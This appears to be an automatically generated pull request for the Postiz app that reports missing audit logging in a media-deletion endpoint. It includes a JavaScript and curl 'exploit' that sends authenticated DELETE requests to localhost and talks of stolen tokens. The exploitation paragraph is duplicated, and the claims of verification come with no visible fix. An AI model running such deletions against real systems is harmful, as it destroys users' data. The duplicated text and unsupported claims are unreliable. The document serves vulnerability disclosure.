Security Fix

This PR addresses a MEDIUM severity vulnerability detected by our security scanner.

Security Impact Assessment

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in the deleteMedia function allows an attacker with API access (e.g., an authenticated user or via a compromised session/token) to delete media assets without any audit trail, enabling stealthy data destruction or sabotage. In the context of the Postiz app—a social media management platform where media assets (images/videos) are critical for user posts—this could be exploited to silently remove content, disrupting campaigns or erasing evidence of malicious activity. An attacker could automate deletions at scale, making it appear as accidental data loss rather than targeted attacks.

The vulnerability in the deleteMedia function allows an attacker with API access (e.g., an authenticated user or via a compromised session/token) to delete media assets without any audit trail, enabling stealthy data destruction or sabotage. In the context of the Postiz app—a social media management platform where media assets (images/videos) are critical for user posts—this could be exploited to silently remove content, disrupting campaigns or erasing evidence of malicious activity. An attacker could automate deletions at scale, making it appear as accidental data loss rather than targeted attacks.

// Proof-of-Concept: Exploit the lack of logging in deleteMedia by calling the API endpoint
// This assumes the Postiz backend is running locally (e.g., via npm run dev in the repository root)
// and the attacker has obtained a valid JWT token (e.g., via login or token theft).
// Replace 'YOUR_JWT_TOKEN' with a real token and 'MEDIA_ID' with an actual media asset ID from the app.

const axios = require('axios'); // Install via npm if needed: npm install axios

async function deleteMediaWithoutTrace() {
  const baseUrl = 'http://localhost:3000'; // Default backend URL from repository's docker-compose.yml or dev setup
  const token = 'YOUR_JWT_TOKEN'; // Obtained via compromised credentials or session hijacking
  const mediaId = 'MEDIA_ID'; // Target media ID, e.g., from listing endpoints like GET /api/media

  try {
    // Call the delete endpoint (based on media.controller.ts route)
    const response = await axios.delete(`${baseUrl}/api/media/${mediaId}`, {
      headers: {
        'Authorization': `Bearer ${token}`,
        'Content-Type': 'application/json'
      }
    });
    console.log('Media deleted successfully:', response.data);
    // No logging occurs in the backend (per vulnerability), so this action is untraceable
  } catch (error) {
    console.error('Error:', error.response?.data || error.message);
  }
}

// Run the exploit
deleteMediaWithoutTrace();

# Alternative: Using curl for a simple command-line exploit
# This demonstrates deleting media via HTTP request, showing the lack of server-side logging.
# Prerequisites: Backend running on localhost:3000, valid JWT token obtained (e.g., from browser dev tools or login).

curl -X DELETE "http://localhost:3000/api/media/MEDIA_ID" \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "Content-Type: application/json"

# Check server logs (e.g., via docker logs or app console): No audit entry for the deletion.
# In a production setup (e.g., deployed via Docker as per repository), an attacker could scale this with loops or scripts.

Exploitation Impact Assessment

Vulnerability Details

• Rule ID: V-001
• File: apps/backend/src/api/routes/media.controller.ts
• Description: The deleteMedia function in the MediaController does not record any audit log upon successful deletion of a media asset. This lack of logging makes it impossible to trace which user or process deleted an asset, hindering incident response and forensic analysis.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• apps/backend/src/api/routes/media.controller.ts

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.